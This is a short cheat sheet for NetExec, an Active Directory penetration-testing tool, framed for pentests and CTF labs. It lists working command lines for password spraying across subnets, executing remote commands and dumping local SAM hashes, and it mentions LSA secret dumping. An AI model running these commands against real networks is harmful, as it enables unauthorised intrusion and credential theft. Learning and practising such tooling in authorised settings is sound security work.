NetExec Cheat Sheet

NetExec (NXC) is the actively maintained successor to CrackMapExec — a swiss-army-knife tool for testing credentials and enumerating Active Directory environments across many hosts at once, over SMB, WinRM, MSSQL, LDAP, and more.

Red Team / Offensive Use

NetExec's core job is turning "I have a set of credentials" into "here's what these credentials can reach" across an entire network in one pass, instead of checking hosts one at a time. It's the standard tool for validating a password spray's hits, confirming local admin access across a subnet, and — via its module system — dumping SAM hashes, LSA secrets, and domain trust info once you're in. It shows up constantly in internal penetration tests and AD-focused CTF content (HTB, OSCP-style labs) alike.

Established Cheatsheet

Pennyw0rth/NetExec — the official repository, with the full module list and protocol support in the wiki.

PWNMI's Top 6 Use Cases

• nxc smb 192.168.1.0/24 -u user -p 'password' — test one credential pair across an entire subnet over SMB; the standard way to confirm a password spray's hits
• nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success — spray a list of credentials across a subnet without stopping at the first hit
• nxc smb 192.168.1.10 -u user -p 'password' --local-auth — authenticate against the local SAM rather than the domain; useful when testing local admin credential reuse
• nxc smb 192.168.1.10 -u admin -p 'password' -x whoami — execute a command on a host you've confirmed access to, without a separate tool
• nxc smb 192.168.1.10 -u admin -p 'password' --sam — dump local SAM hashes from a host you have admin access to
• nxc ldap dc.example.com -u user -p 'password' --users — enumerate domain users over LDAP, a common first step once you have any valid domain credential

Next step

New to Active Directory attacks entirely? Start with OSINT Fundamentals and Nmap Fundamentals for the recon phase this tool builds on, or see secretsdump.py for extracting credentials once you have the access NetExec helped you confirm. For the full enumeration-to-domain-admin sequence this tool starts, see the Active Directory attack chain and the Impacket suite for the Kerberoasting and ticket-handling scripts that follow it.